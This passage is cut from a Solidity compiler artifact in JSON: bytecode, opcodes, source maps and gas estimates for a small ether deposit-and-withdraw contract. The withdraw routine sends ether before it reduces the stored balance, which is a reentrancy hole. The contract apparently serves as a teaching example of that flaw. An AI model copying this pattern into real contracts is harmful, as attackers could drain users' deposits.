PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD LT ISZERO ISZERO ISZERO PUSH2 0x1E8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 SLOAD DUP2 GT ISZERO ISZERO ISZERO PUSH2 0x1F9 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH3 0x93A80 PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD ADD TIMESTAMP LT ISZERO ISZERO ISZERO PUSH2 0x24C JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP ISZERO ISZERO PUSH2 0x283 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP1 PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD SUB SWAP3 POP POP DUP2 SWAP1 SSTORE POP TIMESTAMP PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x2 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 SLOAD DUP2 JUMP JUMPDEST CALLVALUE PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 SMOD 0x4e PUSH16 0xE5CEC4AB62E5ABCA789B9B486BB4738B GAS 0xaa 0x4a 0xcc DUP6 SHL 0xf9 ORIGIN ISZERO 0xae PUSH12 0xE45E00290000000000000000 ", | |
"sourceMap": "25:740:0:-;;;84:7;51:40;;25:740;8:9:-1;5:2;;;30:1;27;20:12;5:2;25:740:0;;;;;;;" | |
}, | |
"deployedBytecode": { | |
"linkReferences": {}, | |
"object": "60806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820074e6fe5cec4ab62e5abca789b9b486bb4738b5aaa4acc851bf93215ae6be45e0029", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x6D JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x1031EC31 EQ PUSH2 0x72 JUMPI DUP1 PUSH4 0x155DD5EE EQ PUSH2 0xC9 JUMPI DUP1 PUSH4 0x27E235E3 EQ PUSH2 0xF6 JUMPI DUP1 PUSH4 0x7DDFE78D EQ PUSH2 0x14D JUMPI DUP1 PUSH4 0xE2C41DBC EQ PUSH2 0x178 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x7E JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xB3 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x182 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xD5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xF4 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x19A JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x102 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x137 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x317 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x159 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x162 PUSH2 0x32F JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x180 PUSH2 0x335 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x1 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST DUP1 PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD LT ISZERO ISZERO ISZERO PUSH2 0x1E8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 SLOAD DUP2 GT ISZERO ISZERO ISZERO PUSH2 0x1F9 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH3 0x93A80 PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD ADD TIMESTAMP LT ISZERO ISZERO ISZERO PUSH2 0x24C JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP ISZERO ISZERO PUSH2 0x283 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP1 PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD SUB SWAP3 POP POP DUP2 SWAP1 SSTORE POP TIMESTAMP PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x2 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 SLOAD DUP2 JUMP JUMPDEST CALLVALUE PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 SMOD 0x4e PUSH16 0xE5CEC4AB62E5ABCA789B9B486BB4738B GAS 0xaa 0x4a 0xcc DUP6 SHL 0xf9 ORIGIN ISZERO 0xae PUSH12 0xE45E00290000000000000000 ", | |
"sourceMap": "25:740:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;97:51;;8:9:-1;5:2;;;30:1;27;20:12;5:2;97:51:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;299:463;;8:9:-1;5:2;;;30:1;27;20:12;5:2;299:463:0;;;;;;;;;;;;;;;;;;;;;;;;;;154:43;;8:9:-1;5:2;;;30:1;27;20:12;5:2;154:43:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;51:40;;8:9:-1;5:2;;;30:1;27;20:12;5:2;51:40:0;;;;;;;;;;;;;;;;;;;;;;;204:89;;;;;;97:51;;;;;;;;;;;;;;;;;:::o;299:463::-;396:14;372:8;:20;381:10;372:20;;;;;;;;;;;;;;;;:38;;364:47;;;;;;;;479:15;;461:14;:33;;453:42;;;;;;;;597:7;566:16;:28;583:10;566:28;;;;;;;;;;;;;;;;:38;559:3;:45;;551:54;;;;;;;;623:10;:15;;645:14;623:39;;;;;;;;;;;;;;;;;615:48;;;;;;;;697:14;673:8;:20;682:10;673:20;;;;;;;;;;;;;;;;:38;;;;;;;;;;;752:3;721:16;:28;738:10;721:28;;;;;;;;;;;;;;;:34;;;;299:463;:::o;154:43::-;;;;;;;;;;;;;;;;;:::o;51:40::-;;;;:::o;204:89::-;277:9;253:8;:20;262:10;253:20;;;;;;;;;;;;;;;;:33;;;;;;;;;;;204:89::o" | |
}, | |
"gasEstimates": { | |
"creation": { | |
"codeDepositCost": "188800", | |
"executionCost": "20238", | |
"totalCost": "209038" | |
}, | |
"external": { | |
"balances(address)": "576", | |
"depositFunds()": "20518", | |
"lastWithdrawTime(address)": "532", | |
"withdrawFunds(uint256)": "infinite", | |
"withdrawalLimit()": "460" | |
} | |
}, | |
"legacyAssembly": { | |
".code": [ | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "80" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 84, | |
"end": 91, | |
"name": "PUSH", | |
"value": "DE0B6B3A7640000" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "POP" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH #[$]", | |
"value": "0000000000000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH [$]", | |
"value": "0000000000000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "CODECOPY" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "RETURN" | |
} | |
], | |
".data": { | |
"0": { | |
".auxdata": "a165627a7a72305820074e6fe5cec4ab62e5abca789b9b486bb4738b5aaa4acc851bf93215ae6be45e0029", | |
".code": [ | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "80" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "CALLDATASIZE" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "LT" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH [tag]", | |
"value": "1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "CALLDATALOAD" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "100000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "DIV" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "FFFFFFFF" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "AND" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "1031EC31" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH [tag]", | |
"value": "2" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "155DD5EE" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH [tag]", | |
"value": "3" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "27E235E3" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH [tag]", | |
"value": "4" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "7DDFE78D" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH [tag]", | |
"value": "5" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "E2C41DBC" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH [tag]", | |
"value": "6" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "tag", | |
"value": "1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 765, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "tag", | |
"value": "2" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "7" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "7" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "POP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH [tag]", | |
"value": "8" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "CALLDATASIZE" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "CALLDATALOAD" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "AND" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "POP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "POP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "POP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH [tag]", | |
"value": "9" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "tag", | |
"value": "8" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "POP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "POP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "RETURN" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "tag", | |
"value": "3" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "10" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "10" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "POP" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "PUSH [tag]", | |
"value": "11" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "CALLDATASIZE" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "CALLDATALOAD" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "POP" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "POP" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "POP" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "PUSH [tag]", | |
"value": "12" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "tag", | |
"value": "11" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "STOP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "tag", | |
"value": "4" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "13" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
